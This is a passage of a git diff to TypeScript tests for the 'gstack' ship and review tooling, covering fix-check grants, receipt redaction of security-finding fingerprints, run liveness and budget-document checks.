- test('a counted read that found issues spends the grant; a later clean row closes nothing', () => {
- const c = atCap([open(ID, FP)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'fix it', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix it'])));
- const found = { status: 'issues_found', issues_found: 1, critical: 0, informational: 1, findings: [{ fingerprint: 'src/x.ts:1:style', severity: 'INFORMATIONAL', action: 'open' }] };
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', files: { 'src/x.ts': 'export const x = 3;\n' }, row: found });
- const g = grantsOf(c).find(x => x.approval === id)!;
- expect(grantSpent(rows(c), g, r => bindFixCheckRow(c.f.work, r, grantsOf(c), { open: true }).ok)).toBe(true);
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', claim: false });
- const w = write(c, 'r2');
- expect(w.status).toBe(3);
- expect(w.stderr).toContain('the one counted read the grant bought');
- });
-
- // Value: protects=a later clean row recording the same findings as fixed never replaces the first read in the receipt's dedup,
- // and a read that leaves a collected dispatch-ledger id open still counts as the grant's read; fails_when=dedup keeps the last
- // copy, or open:true still demands every ledger id disposed; seam=clearByGrant, bindFixCheckRow
- test('the first copy of a repeated row stays the grant\'s read, and an open ledger id still counts it', () => {
- const c = atCap([open(ID, FP)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'fix it', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix it'])));
- const finding = (action: string) => ({ fingerprint: 'src/x.ts:1:style', severity: 'INFORMATIONAL', action, ledger_id: 'fc/fix-check#1' });
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', files: { 'src/x.ts': 'export const x = 3;\n' }, row: { status: 'issues_found', issues_found: 1, informational: 1, findings: [finding('open')] } });
- const first = rows(c).filter(r => r.skill === 'review-fix-check').at(-1)!;
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', claim: false, row: { findings: [finding('fixed')] } });
- const w = write(c, 'r2');
- expect(w.status).toBe(3);
- expect(w.stderr).toContain('the one counted read the grant bought');
- const ledger = path.join(c.f.root, 'fc', 'review-ledger.jsonl');
- fs.mkdirSync(path.dirname(ledger), { recursive: true });
- fs.writeFileSync(ledger, JSON.stringify({ event: 'output', reader: 'fix-check', ids: ['fix-check#1'], tree_ok: true, at: new Date().toISOString() }) + '\n');
- const withLedger = { ...first, hunks: { ...first.hunks, ledger } };
- expect(bindFixCheckRow(c.f.work, withLedger, grantsOf(c), { open: true })).toMatchObject({ ok: true });
- expect(bindFixCheckRow(c.f.work, withLedger, grantsOf(c))).toMatchObject({ ok: false });
- expect(bindFixCheckRow(c.f.work, { ...withLedger, findings: [] }, grantsOf(c), { open: true })).toMatchObject({ ok: false, why: expect.stringContaining('does not dispose') });
- });
-
- // Value: protects=gskills#25: the claimed reader's packet is git diff <claimed head> HEAD, built by gstack, so a hand-built
- // partial --hunks file cannot reach it; fails_when=the row records the partial paths; seam=gstack-review-plan --fix-check-prompt
- test('a partial --hunks file is replaced by the full diff since the claimed head', () => {
- const c = atCap([open(ID, FP)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'fix it', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix it'])));
- c.f.write({ 'src/x.ts': 'export const x = 3;\n', 'src/y.ts': 'export const y = 1;\n' }); c.f.commit('fix');
- ok(c.run('gstack-ship-receipt', ['claim', '--body', c.body, '--pr', '7', '--run', 'r2', '--grant', id]));
- const partial = path.join(c.f.root, 'partial.diff');
- fs.writeFileSync(partial, c.f.git('diff', c.S, 'HEAD', '--', 'src/x.ts').stdout);
- const fixes = path.join(c.f.root, 'fixes.txt'), tests = path.join(c.f.root, 'tests.txt');
- fs.writeFileSync(fixes, 'fix ' + ID + '\n'); fs.writeFileSync(tests, '3 pass\n');
- const p = c.run('gstack-review-plan', ['--fix-check-prompt', '--fix-list', fixes, '--hunks', partial, '--tests', tests]);
- expect(p.status, p.stderr).toBe(0);
- expect(p.stderr).toContain(`FIX_CHECK_HUNKS: built from git diff ${c.S.slice(0, 12)} HEAD`);
- expect(p.stdout).toContain('src/y.ts');
- });
-
- // Value: protects=a grant buys one round: a fix-check grant an unclaimed fix-check already spent (an owner's review_loop_grant
- // or a round-grant planned through gstack-review-plan --grant, neither of which leaves a claim in the PR body) cannot be
- // claimed for a second read; fails_when=claim prints GRANT_CLAIMED; seam=gstack-ship-receipt claim
- test('claim refuses GRANT_SPENT for a grant an unclaimed counted fix-check already spent', () => {
- for (const legacy of [true, false]) {
- const c = atCap([open(ID, FP)]);
- const id = legacy
- ? JSON.parse(ok(c.run('gstack-approvals', ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${c.S})`, '--words', 'do it', '--by', CAPTAIN, '--scope', 'this /ship invocation', '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--json']))).added[0] as string
- : grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'fix it', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix it'])));
- unclaimedFixCheck(c);
- expect(rows(c).filter(x => x.skill === 'review-fix-check').at(-1)?.grant).toBeUndefined();
- const r = c.run('gstack-ship-receipt', ['claim', '--body', c.body, '--pr', '7', '--run', 'r2', '--grant', id]);
- expect([legacy, r.status, r.stdout]).toEqual([legacy, 3, '']);
- expect(r.stderr).toContain('GRANT_SPENT');
- expect(fs.readFileSync(c.body, 'utf8')).not.toContain(id);
- }
- });
-
- // Value: protects=the negative controls: an unspent grant still claims, a malformed row spends nothing, and the run that holds
- // the claim may claim again after its own read; fails_when=claim refuses any of them; seam=gstack-ship-receipt claim
- test('claim still takes an unspent grant, one only a malformed row read, and this run\'s own claim again', () => {
- const c = atCap([open(ID, FP)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'fix it', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix it'])));
- unclaimedFixCheck(c, { converged: false });
- ok(c.run('gstack-ship-receipt', ['claim', '--body', c.body, '--pr', '7', '--run', 'r2', '--grant', id]));
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', claim: false });
- expect(ok(c.run('gstack-ship-receipt', ['claim', '--body', c.body, '--pr', '7', '--run', 'r2', '--grant', id]))).toContain(`GRANT_CLAIMED: grant=${id}`);
- });
-});
-
-describe('a post-review edit with no stop gets a grant (GST-3546, gbrain#10068)', () => {
- // Value: protects=a docs-audit edit after the cap, with no stop record, buys one scoped fix-check that finish counts;
- // fails_when=round-grant refuses a fix-check with no --stop-run, or finish prints FIX_CHECK: not counted; seam=round-grant, finish
- test('a grant at the reviewed head covers the edit, and finish counts its fix-check', () => {
- const c = atCap([]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'docs audit edited code comments after review', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'one fix-check'])));
- fixCheck(c, { grant: id, run: 'r2', fixList: 'review the docs-audit edit\n', files: { 'src/x.ts': '// the x value\nexport const x = 2;\n' } });
- const post = path.join(c.f.root, 'post.json');
- ok(c.run('gstack-docs-candidate', ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']));
- const F = headOf(c.f);
- const fin = c.f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', c.f.git('rev-parse', c.S + '^{tree}').stdout.trim(), '--docs-post', post, '--reviewed-base', c.f.git('merge-base', 'origin/main', 'HEAD').stdout.trim(), '--lane', 'tests=printf " 3 pass\\n 0 fail\\nRan 3 tests across 1 file. [5.00ms]\\n"'], { GSTACK_APPROVALS_MIRROR: '0' });
- expect(fin.stdout).not.toContain('FIX_CHECK: not counted');
- expect(fin.stdout).toContain(`(fix-check at ${F.slice(0, 12)}, range from ${c.S.slice(0, 12)}, grant ${id})`);
- });
-});
-
-describe('round-grant fits a verbatim owner reason (GST-3546 gap 2)', () => {
- // Value: protects=a reason past the 300-character ask records, with the ask cut and the full words kept; fails_when=
- // APPROVAL_RECORD_INVALID on the ask cap; seam=reviewRoundGrantRow, gstack-approvals round-grant
- test('the ask is cut at 300 characters with an ellipsis, it still parses, and --words keeps every word', () => {
- const reason = 'Ruled: ' + 'the docs audit rewrote three paragraphs of the security section after round two, and I want one scoped read of exactly that change before this ships. '.repeat(3).trim();
- const built = reviewRoundGrantRow('b'.repeat(40), 7, 'fix-check', reason);
- expect(built.ask.length).toBeLessThanOrEqual(300);
- expect(built.ask.endsWith('…')).toBe(true);
- const c = atCap([]);
- const r = c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', reason, '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', reason]);
- const id = grantId(ok(r));
- const listed = JSON.parse(ok(c.run('gstack-approvals', ['list', '--json']))) as { rows?: ApprovalRow[] } | ApprovalRow[];
- const row = (Array.isArray(listed) ? listed : listed.rows ?? []).find(x => x.id === id)!;
- expect(row.words).toBe(reason);
- expect(grantsOf(c).find(g => g.approval === id)).toMatchObject({ kind: 'fix-check', head: c.S });
- });
-});
-
-describe('an ended or dead /ship run stops holding gstack upgrades (gskills#25)', () => {
- const stateRoot = () => { const d = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'ship-live-'))); tmps.push(d); return d; };
- const ledger = (sr: string, run: string, extra: Record<string, unknown>) => {
- fs.mkdirSync(path.join(sr, 'ship-runs', run), { recursive: true });
- fs.writeFileSync(path.join(sr, 'ship-runs', run, 'budget.json'), JSON.stringify({ kind: 'gstack-ship-budget', run, created_at: new Date(Date.now() - 60_000).toISOString(), ...extra }));
- };
- const sleeper = () => { const k = spawn('sleep', ['300'], { stdio: 'ignore' }); kids.push(k); return k.pid!; };
- const ownerOf = (pid: number): RunOwner => { const o = thisRunOwner(pid)!; expect(o).not.toBeNull(); return o; };
- const deadOwner = (): RunOwner => { const k = spawnSync('sleep', ['0'], { timeout: 10_000 }); const { shared: _shared, ...here } = ownerOf(process.pid); return { ...here, pid: k.pid!, comm: 'claude' }; };
-
- // Value: protects=an ended run (its harness gone, or its own checkout run record finished or abandoned) no longer holds upgrades,
- // while a live, stopped (it may still claim its grant) or unprovable one still does; fails_when=a dead run holds, a stopped run or
- // an earlier run's finished record releases, or a run on a shared harness is released; seam=liveRun
- test('dead owner and this run\'s finished record release; a live owner, a stopped run, an older record and a shared harness hold', () => {
- if (process.platform !== 'linux') return;
- const sr = stateRoot();
- ledger(sr, 'dead', { owner: deadOwner() });
- expect(liveRun(sr)).toMatchObject({ ended: [expect.stringContaining('/ship run dead: its owner process')] });
- expect(liveRun(sr).live).toBeUndefined();
- const c = atCap([]);
- const recordFile = path.resolve(c.f.work, c.f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim());
- const record = (state: string, started: number) => fs.writeFileSync(recordFile, JSON.stringify({ v: 1, run: 'r2', state, head: c.S, started_at: new Date(started).toISOString(), beat_at: new Date().toISOString() }) + '\n');
- const shared = { ...ownerOf(process.pid), shared: true };
- record('stopped', Date.now());
- ledger(sr, 'mine', { checkout: c.f.work, owner: shared });
- expect(liveRun(sr).live).toContain('/ship run mine');
- record('finished', Date.now() - 3_600_000);
- expect(liveRun(sr).live).toContain('/ship run mine');
- ledger(sr, 'other', { checkout: c.f.work, owner: shared, created_at: new Date(Date.now() - 30_000).toISOString() });
- record('finished', Date.now());
- expect(liveRun(sr).live).toContain('/ship run mine');
- fs.rmSync(path.join(sr, 'ship-runs', 'other'), { recursive: true });
- expect(liveRun(sr).live).toBeUndefined();
- ledger(sr, 'alive', { owner: ownerOf(sleeper()) });
- expect(liveRun(sr).live).toContain('/ship run alive');
- fs.rmSync(path.join(sr, 'ship-runs', 'alive'), { recursive: true });
- ledger(sr, 'legacy', {});
- expect(liveRun(sr).live).toContain('/ship run legacy');
- const out = spawnSync(path.join(BIN, 'gstack-ship-run'), ['live', '--state-root', sr], { encoding: 'utf8', timeout: 60_000 });
- expect(out.stdout).toContain('RUN_LIVE: /ship run legacy');
- expect(out.stdout).toContain('RUN_HOLD_RELEASED: /ship run dead');
- });
-
- // Value: protects=abandon takes a run whose owner is provably gone at once, instead of after 60 minutes; fails_when=
- // SHIP_RUN_ABANDON_REFUSED for a run whose harness exited; seam=abandonRefusal
- test('abandon refuses a fresh run under a live or shared owner and takes one whose owner is gone', () => {
- if (process.platform !== 'linux') return;
- const c = atCap([]);
- const now = new Date().toISOString();
- const file = path.resolve(c.f.work, c.f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim());
- const put = (owner: RunOwner) => { fs.writeFileSync(file, JSON.stringify({ v: 1, run: 'r2', state: 'open', head: c.S, started_at: now, beat_at: now, owner }) + '\n'); return readRunRecord(c.f.work); };
- expect(abandonRefusal(put(ownerOf(sleeper())), 'r2', undefined)).toContain('still working');
- expect(abandonRefusal(put({ ...ownerOf(process.pid), shared: true }), 'r2', undefined)).toContain('still working');
- expect(abandonRefusal(put(deadOwner()), 'r2', undefined)).toBeNull();
- });
-});
diff --git a/test/runtime-root-assets.test.ts b/test/runtime-root-assets.test.ts
index d855a7914..2ee5d14b8 100644
--- a/test/runtime-root-assets.test.ts
+++ b/test/runtime-root-assets.test.ts
@@ -194,7 +194,7 @@ describe.skipIf(process.platform === 'win32')('runtime roots carry every $GSTACK
{ cwd: tmp, encoding: 'utf8', timeout: 30_000, env: { PATH: process.env.PATH ?? '/usr/bin:/bin', HOME: path.join(tmp, 'home-windows') } });
expect(r.stderr).not.toContain('Cannot find module');
expect(r.status).toBe(0);
- expect(r.stdout).toContain('--fix-check-prompt');
+ expect(r.stdout).toContain('--post-review');
});
// Value: protects=the question helper's --check and --signal-keys start from a
diff --git a/test/security-finding-redaction.test.ts b/test/security-finding-redaction.test.ts
index 8718f1d75..b009997b7 100644
--- a/test/security-finding-redaction.test.ts
+++ b/test/security-finding-redaction.test.ts
@@ -14,7 +14,6 @@ import { gateDispositionText, type GateDisposition } from '../lib/gate-dispositi
import { EXIT as POST_EXIT, runPost, type PostEnv } from '../lib/gstack-post';
import { deferredRecord, renderDeferredSection } from '../lib/review-scope';
import { ruledNoteRow, ruledNoteText, type RuledNote } from '../lib/ruled-notes';
-import { publicRoundGrant, type ReviewRoundGrant } from '../lib/review-round-grant';
import { REDACTED_REASON, securityFingerprints } from '../lib/security-findings';
import { RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
@@ -184,48 +183,4 @@ describe('a red-team finding the owner ruled not security class (gstack-evals #3
expect(write.status, write.stderr).toBe(EXIT.ok);
expect(fs.readFileSync(body, 'utf8')).toContain('"not_security": true');
});
-
- // Value: protects=a fix-check grant naming a red-team finding the owner ruled not security class, or another security finding, never
- // puts the raw fingerprint into the receipt, so gstack-post accepts the body; fails_when=the receipt's review_round_grants copies
- // README.md:515:red-team as gbrain-evals#567's did; why_new=GBEV-103 had to publish #567's body with another tool; seam=gstack-ship-receipt
- // write with the grant and ruling in the approval store, then gstack-post's own fingerprint check; no_claim=-
- test.skipIf(process.platform === 'win32')('a round grant\'s finding list carries the ruled public form or an opaque id, never the fingerprint (gbrain-evals#567)', () => {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
- ships.push(f);
- fs.writeFileSync(path.join(f.root, 'stub', 'gh'), '#!/bin/sh\ncase "$*" in *visibility*) echo PUBLIC ;; *) exit 1 ;; esac\n', { mode: 0o755 });
- const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
- const head = f.git('rev-parse', 'HEAD').stdout.trim();
- const ruled = run('gstack-approvals', ['rule', '--finding', 'README.md:515:red-team', '--head', head, '--reason', 'README wording about the power figure; not a security finding', '--words', 'not security', '--by', 'Fixture Owner', '--not-security']);
- expect(ruled.status, ruled.stderr).toBe(0);
- const grant = run('gstack-approvals', ['round-grant', '--pr', '7', '--head', head, '--kind', 'fix-check', '--stop-run', 'run1', '--findings', 'test/x.test.ts:70:functional-contract,README.md:515:red-team,src/net/retry.ts:42:security', '--reason', 'branch-caused failures', '--by', 'Fixture Captain']);
- expect(grant.status, grant.stderr).toBe(0);
- const body = path.join(f.root, 'body.md');
- fs.writeFileSync(body, `## Pre-Landing Review\n\n${run('gstack-approvals', ['rulings']).stdout.trim()}\n`);
- const write = run('gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--version', '1.0.0', '--session-kind', 'unattended', '--body', body]);
- expect(write.status, write.stderr).toBe(EXIT.ok);
- const text = fs.readFileSync(body, 'utf8');
- expect(securityFingerprints(text)).toEqual([]);
- expect(text).toContain('"README.md:515 (red-team, ruled not security class)"');
- expect(text).toContain('"test/x.test.ts:70:functional-contract"');
- expect(text).toMatch(/"sf-[0-9a-f]{12}"/);
- expect(leaks(text, 'src/net/retry.ts:42', 'retry.ts')).toEqual([false, false]);
- });
-});
-
-
-// Value: protects=a round grant whose finding list names an unruled security finding publishes neither the fingerprint nor the grant's
-// free-text reason, which can describe the hole, while a grant whose only security finding the owner ruled not security class keeps
-// its reason; fails_when=publicRoundGrant redacts the findings and passes the reason through; seam=publicRoundGrant, the one mapping
-// gstack-ship-receipt write applies to review_round_grants; no_claim=the approval record's own private copy
-describe('round grants in the receipt', () => {
- const grant = (findings: string[]): ReviewRoundGrant => ({ kind: 'fix-check', head: HEAD, pr: 7, by: 'Fixture Captain', reason: SECRET_REASON, at: '2026-11-18T00:00:00Z', approval: 'a-0123456789ab', stop_run: 'run1', findings });
- test('an unruled security finding redacts the reason too; a ruled-not-security one and a plain grant keep it', () => {
- const hidden = JSON.stringify(publicRoundGrant(grant([SEC, 'test/x.test.ts:70:functional-contract']), []));
- expect(leaks(hidden, 'src/net/retry.ts', SECRET_REASON)).toEqual([false, false]);
- expect(hidden).toContain(REDACTED_REASON);
- expect(securityFingerprints(hidden)).toEqual([]);
- const ruled = publicRoundGrant(grant(['README.md:515:red-team']), [{ ...note('README.md:515:red-team', 'README wording'), not_security: true }]);
- expect(ruled).toMatchObject({ reason: SECRET_REASON, findings: ['README.md:515 (red-team, ruled not security class)'] });
- expect(publicRoundGrant(grant(['test/x.test.ts:70:functional-contract']), [])).toEqual(grant(['test/x.test.ts:70:functional-contract']));
- });
});
diff --git a/test/ship-control-flow.test.ts b/test/ship-control-flow.test.ts
index 3d5a81592..9dfa09514 100644
--- a/test/ship-control-flow.test.ts
+++ b/test/ship-control-flow.test.ts
@@ -40,16 +40,12 @@ describe('ship source controller', () => {
expect(freshness).not.toContain('**No attempt remains or no repair is available:**');
});
- test('the review plan drives the repeat, the fix-check binds under its own skill, and Step 11.5 accepts a fix-check or a planned adversarial skip', () => {
+ test('the review plan drives the repeat, and Step 11.5 accepts a planned adversarial skip', () => {
const decide = review.slice(review.indexOf('### Decide whether to repeat Step 9'), review.indexOf('**Required-probe parent gate:**'));
for (const flag of ['--fixed-blocking', '--fixed-below', '--blocking-open', '--touched-gate', '--critical-found', '--adversarial-ran', '--reviewed-numbers <fp>']) expect(decide).toContain(flag);
expect(decide).toContain('its `NEXT:` alone picks the next decision: `stop` 2, `full` 3, `done` 4, `platform` 4.');
- expect(compact(decide)).toContain('`fix-check` (3.5) comes only from a grant recorded before GST-3562.');
- expect(decide).toContain('`gstack-review-log --start review-fix-check` token');
- expect(decide).toContain('`"skill":"review-fix-check"` with `--finish <token>`');
expect(compact(read('ship/sections/adversarial.md.tmpl'))).toContain("Step 9's last full-pass plan governs this step");
const bind = compact(entry.slice(entry.indexOf('## Step 11.5:'), entry.indexOf('## Step 12:')));
- expect(bind).toContain("last 3.5 `review-fix-check`");
expect(bind).toContain('none after `ADVERSARIAL: skipped`');
expect(bind).toContain('`review_freshness` `CURRENT`');
});
diff --git a/test/ship-driver.test.ts b/test/ship-driver.test.ts
index 7fa54b954..9c71ee85a 100644
--- a/test/ship-driver.test.ts
+++ b/test/ship-driver.test.ts
@@ -147,7 +147,7 @@ describe('one program per pass (GSTA-167 variant E)', () => {
test('Phase 2 runs --audit and the reads in its program, and no phase reads TODOS.md or the full diff into the parent', () => {
const p2 = phase('## 2. Preflight');
for (const s of ['gstack-ship-preflight --audit --base <base> --out <run dir>', 'writes the diff once (`CONTEXT:`)', '(`TODOS:`)', 'READER: coverage=<needed|none> plan=<needed|none>',
- 'Phase 3 runs neither reader', 'Never read TODOS.md or the full diff into the parent']) expect(p2).toContain(s);
+ 'Phase 3 never runs the coverage reader; the plan reader only on `plan=needed`', 'A plan agreed only in conversation reads `plan=none`', 'Never read TODOS.md or the full diff into the parent']) expect(p2).toContain(s);
expect(phase('## 4. Judgment')).toContain('Steps 8.1, 8.2 and 9.2.1 are skipped');
expect(phase('## 6. Notes and documentation')).toContain('Step 14 is skipped');
});
@@ -167,12 +167,13 @@ describe('variant G: the call plan, observe budget, waits and audit readers (GST
expect(calls).toContain(`One pass with no fixes is ${headings.length + 1} calls: Phases 1-${headings.length} and the report; at most 12`);
});
- // Value: protects=the ledger records instead of admitting: one note at each program's end with tokens and credits, the reader pair inside the dispatching program, and the cap as the single stop; fails_when=the driver brings back a check per boundary, a reservation, a meter-only call or a handoff (replay 5: 11 meter-only calls at 286k on #34's child), or drops the credits reading;
+ // Value: protects=the ledger records instead of admitting: start and close only (GST-3562 J), the reader pair inside the dispatching program, and the cap as the single stop; fails_when=the driver brings back a check per boundary, a reservation, a meter-only call or a handoff (replay 5: 11 meter-only calls at 286k on #34's child), or drops the credits reading;
// why_new=observe mode is new; seam=none; no_claim=the host's counter accuracy
- test('the budget paragraph runs observe mode: note with --reading and --credits, no check per step, the cap as the one stop', () => {
- const budget = flat(doc.slice(doc.indexOf('**Budget: observe.**'), doc.indexOf('\n\n', doc.indexOf('**Budget: observe.**'))));
- for (const s of ['gstack-ship-budget start --mode observe', 'gstack-ship-budget note --step <last step> --reading R --credits C', '`cost.credits`',
- 'No check per step, no reservation, no meter-only call, no handoff', '--dispatched-at <R> --dispatched-credits <C> --readers <n>']) expect(budget).toContain(s);
+ test('the budget paragraph runs start and close only: no note per program, no check per step, the cap as the one stop', () => {
+ const budget = flat(doc.slice(doc.indexOf('**Budget: start and close only.**'), doc.indexOf('\n\n', doc.indexOf('**Budget: start and close only.**'))));
+ for (const s of ['gstack-ship-budget start --mode observe', '`cost.credits`',
+ 'No note per program, no check per step, no reservation, no meter-only call, no handoff', '--dispatched-at <R> --dispatched-credits <C> --readers <n>']) expect(budget).toContain(s);
+ expect(doc).not.toContain('gstack-ship-budget note --step <last step>');
expect(doc).not.toMatch(/check --step|--next dispatch:|--delegate measured/);
expect(doc).toContain('gstack-ship-budget close --reading R --credits C');
});
@@ -209,7 +210,7 @@ describe('variant G: the call plan, observe budget, waits and audit readers (GST
for (const s of ['Returns: ≤32 KB per program; split longer reads at headings, each byte once, before first use',
'one program runs the failing test, fix, `--tests-only` and Phase 3, each gated', '(`diffBase` RANGE_BASE on a `full` round 2 only, never on the `READ_ONLY:` final review',
'Unattended, push defers the pre-push offer; else its STOP runs Step 17\'s guard block', 'plus a keep-alive per 200 s waited']) expect(f).toContain(s);
- expect(flat(doc.slice(doc.indexOf('**Budget: observe.**')))).toContain('--reading R --credits C --record <rec>');
+ expect(flat(doc.slice(doc.indexOf('**Budget: start and close only.**')))).toContain('No note per program');
});
// Value: protects=a reader counts as settled only once it has run (status done or failed, or a final summary), in the driver, the Capy skill and the budget section, so a poll never closes a batch on a subagent that was just created; fails_when=the settled rule is dropped or lets a bare idle status through (replay 7e #36: the Red Team reservation settled actual=0 because a just-created subagent read idle);
diff --git a/test/ship-finish-fixed-links.test.ts b/test/ship-finish-fixed-links.test.ts
deleted file mode 100644
index 7477fe3fb..000000000
--- a/test/ship-finish-fixed-links.test.ts
+++ /dev/null
@@ -1,415 +0,0 @@
-/**
- * GST-1973 (GBRA-386, gbrain #8881): a granted fix-check that finds a blocker is logged converged:false
- * (ship/sections/review-army.md), so its row never reads CURRENT. finish's chain walk refused every chain with such a
- * link, and a later clean link that read the fix could not count: only a fresh /ship review recovered the receipt,
- * past R51's two-round cap. An earlier link with findings now hands its paths on: the chain still has to be contiguous
- * and granted link by link, its newest link must be a clean bound read, and only clean links count paths. A blocking
- * finding on an earlier link closes only when a later clean link's range touched its path.
- */
-import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
-import * as path from 'node:path';
-import { lineOf, RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
-
-setDefaultTimeout(90_000);
-const BIN = path.dirname(RELEASE);
-const LANE = 'tests=printf " 3 pass\\n 0 fail\\nRan 3 tests across 1 file. [5.00ms]\\n"';
-const ships: ShipFx[] = [];
-afterEach(() => { while (ships.length) ships.pop()!.cleanup(); });
-
-const TEST_V1 = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n";
-const TEST_V2 = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); }, 1_000);\n";
-const CLEAN = { completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] };
-/** The shape of GBRA-386's 990e7b6e row: a granted fix-check that found one CRITICAL and two filed notes, logged converged:false. */
-const found = (p = 'src/x.ts', o: Record<string, unknown> = {}) => ({
- completed: true, converged: false, status: 'issues_found', issues_found: 3, critical: 1, informational: 2,
- findings: [
- { fingerprint: `${p}:93:red-team`, severity: 'CRITICAL', action: 'deferred', locus: 'fix-range', kind: 'defect', blocking: true, raised_by: 'red-team' },
- { fingerprint: 'src/x.ts:121:testing', severity: 'INFORMATIONAL', action: 'noted', locus: 'fix-range', kind: 'test-gap', blocking: false, raised_by: 'testing', issue: 8897 },
- { fingerprint: 'src/x.ts:121:red-team', severity: 'INFORMATIONAL', action: 'noted', locus: 'fix-range', kind: 'defect', blocking: false, raised_by: 'red-team', issue: 8897 },
- ],
- ...o,
-});
-const NONCONVERGED = 'missing start capture or incomplete/nonconverged pass';
-const STOP = 'STOP: behavior, tests or build inputs changed since review (';
-
-const run = (f: ShipFx, bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
-const headOf = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
-const at = (c: string) => c.slice(0, 12);
-const stopLine = (out: string) => (l => l.slice(0, l.indexOf(')') + 1))(out.split('\n').find(l => l.startsWith(STOP)) ?? '');
-const notCountedAt = (c: string) => new RegExp(`^FIX_CHECK: not counted \\(.*; fix-check at ${at(c)}, link 1 of 2\\)$`);
-
-/** The reviewed tree is the feature head; src/y.ts is a second code path for the finding-path cases. */
-function reviewedShape() {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n', 'src/y.ts': 'export const y = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST_V1 });
- ships.push(f);
- return { f, t: headOf(f), reviewed: f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim(), reviewedBase: f.git('merge-base', 'origin/main', 'HEAD').stdout.trim() };
-}
-const edit = (f: ShipFx, files: Record<string, string>, msg: string) => { f.write(files); f.commit(msg); return headOf(f); };
-/** One granted fix-check at HEAD reading range_base..HEAD; the owner's grant names the commit it reads (GST-1676). */
-function link(f: ShipFx, from: string, row: Record<string, unknown>, o: { grant?: boolean } = {}) {
- const commit = headOf(f);
- let grant = '';
- if (o.grant !== false) {
- const g = run(f, 'gstack-approvals', ['add', '--ask', `Owner grant: one scoped fix-check (review_loop_grant ${at(commit)})`, '--words', 'one scoped fix-check', '--by', 'gstack minder (GSTA-36)', '--scope', 'this /ship invocation', '--json']);
- expect(g.status, g.stderr).toBe(0);
- grant = JSON.parse(g.stdout).added[0] as string;
- }
- const start = run(f, 'gstack-review-log', ['--start', 'review-fix-check']);
- expect(start.status, start.stderr).toBe(0);
- const logged = run(f, 'gstack-review-log', [JSON.stringify({ skill: 'review-fix-check', timestamp: '2026-11-09T00:00:00Z', via: 'ship', review_scope: 'frozen', range_base: from, ...row }), '--finish', start.stdout.trim()]);
- expect(logged.status, logged.stderr).toBe(0);
- return { commit, grant };
-}
-function finish(f: ShipFx, reviewed: string, reviewedBase: string, extra: string[] = []) {
- const post = path.join(f.root, 'post.json');
- expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
- return f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--reviewed-base', reviewedBase, '--lane', LANE, ...extra]);
-}
-
-describe('finish counts a fix-check chain whose earlier links found issues a later clean link read (GST-1973)', () => {
- // Value: protects=the GBRA-386 shape counts: T..A and A..B each found a CRITICAL (logged converged:false), B..C read the fixes
- // clean, and every path C's range touched counts; fails_when=finish refuses link 2 as nonconverged (FIX_CHECK: not counted ...
- // link 2 of 3) and src/x.ts routes as behavior, so only a fresh review recovers the receipt; seam=finish's chain walk
- test('T to A (findings) to B (findings) to C (clean) counts at C', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
